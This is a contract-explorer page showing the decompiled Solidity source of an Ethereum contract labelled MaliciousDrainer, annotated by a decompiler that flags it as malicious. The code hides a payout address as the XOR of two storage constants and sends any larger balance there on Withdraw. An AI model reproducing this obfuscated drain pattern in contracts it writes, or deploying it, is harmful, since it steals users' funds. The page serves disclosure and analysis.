Verified contractPartialUNLICENSED
MaliciousDrainer
Address0x92925455f0e7cb1dadee1610d32ed663b08153d0
- Balance
0 ETH
- Transactions
14
- Compiler
solc 0.8.36
- Same code
33 more contracts
Details
- Compiler
- solc 0.8.36+commit.8a079791
- Language
- solidity
- Optimization
- Yes, 600 runs
- License
- UNLICENSED
- Match
- Partialcreation code: no, runtime code: yes
- Verified on Sourcify
- Created in block
- 25,982,809
- Creation transaction
- 0x19d991e3c0…180758eaee
MaliciousDrainer.sol
// SPDX-License-Identifier: UNLICENSED
// Decompiled by luna. See luna.preventive.dev
pragma solidity 0.8.36;
contract MaliciousDrainer {
constructor() {
creator = msg.sender; // 0x44409B7241ccB7880B0Bb9077896F70B6431C211
_ctorTail();
}
receive() external payable {}
function _ctorTail() internal {
address payable xorAddress = payable(address(uint160(xor(var_6, var_8))));
xorAddress.transfer(0);
}
uint256 private _unused0 = 1000000000000000000;
uint256 private _unused1 = 10000000000000000;
uint256 private _gap2;
uint256 private _gap3;
address private creator;
uint256 private var_6 = 0xfdc54b1a6f53a21d375d0dea84608d84c088017f6661b90cbfa86d27732f6d3e;
uint256 private var_7 = 0xfdc54b1a6f53a21d375d0deade9987d584af8bb0a75cc1c7c73729592b4ab296;
uint256 private var_8 = 0xfdc54b1a6f53a21d375d0dea79a493605c1f8ec2d3b0b544ebd014b18855e47c;
uint256 private _unused8 = 1800;
uint256 private threshold = 100000000000000000;
event Received(address indexed sender, uint256 value);
function Start() public payable {
emit Received(msg.sender, msg.value);
}
// MALICIOUS!
// Drains funds to an address that is in neither image.
// The constructor stored it as two storage words engineered to cancel:
// 0x5aF90A5144278ACFc13D78CB789F447e5865dfA8 = var_6 ^ var_7.
function Withdraw() public payable {
_Withdraw();
}
function _Withdraw() internal {
address xorAddress = address(uint160(xor(var_6, var_7)));
uint256 selfBalance = address(this).balance;
if (selfBalance != 0) {
address recipient = selfBalance > threshold ? xorAddress : creator;
(bool success, ) = recipient.call{value: selfBalance}("");
}
}
function xor(uint256 a, uint256 b) internal pure returns (uint256) {
return a ^ b;
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 600,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.